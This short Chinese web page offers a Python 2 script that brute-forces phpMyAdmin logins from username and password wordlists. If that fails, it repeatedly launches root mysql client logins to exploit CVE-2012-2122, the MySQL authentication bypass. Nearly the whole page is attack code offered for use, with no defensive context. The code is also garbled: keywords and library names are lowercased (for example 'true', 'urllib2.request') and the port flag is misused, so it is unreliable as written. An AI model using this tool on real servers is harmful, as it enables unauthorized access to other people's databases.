Python写的PHPMyAdmin暴力破解工具代码

phpmyadmin暴力破解,加上cve-2012-2122 mysql authentication bypass vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def crack(url,username,password):
	opener = urllib2.build_opener(urllib2.httpcookieprocessor(cookielib.lwpcookiejar())) 
	headers = {'user-agent' : 'mozilla/5.0 (windows nt 6.1; wow64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def mysqlauthenticationbypasscheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.popen("mysql --host=%s -p %s -uroot -piswin" % (host,port),shell=true).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py //www.jb51.net/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "bruting,pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nbrute successful"
				print "username: "+state[0]+"password: "+state[1]
				sys.exit()
	print "sorry,brute failed...,try to use mysqlauthenticationbypasscheck"
	choice=raw_input('warning:this function needs mysql environment.\ny:try to mysqlauthenticationbypasscheck\nothers:exit\n')
	if choice=='y' or choice=='y':
		host=raw_input('host:')
		port=raw_input('port:')
		mysqlauthenticationbypasscheck(host,port)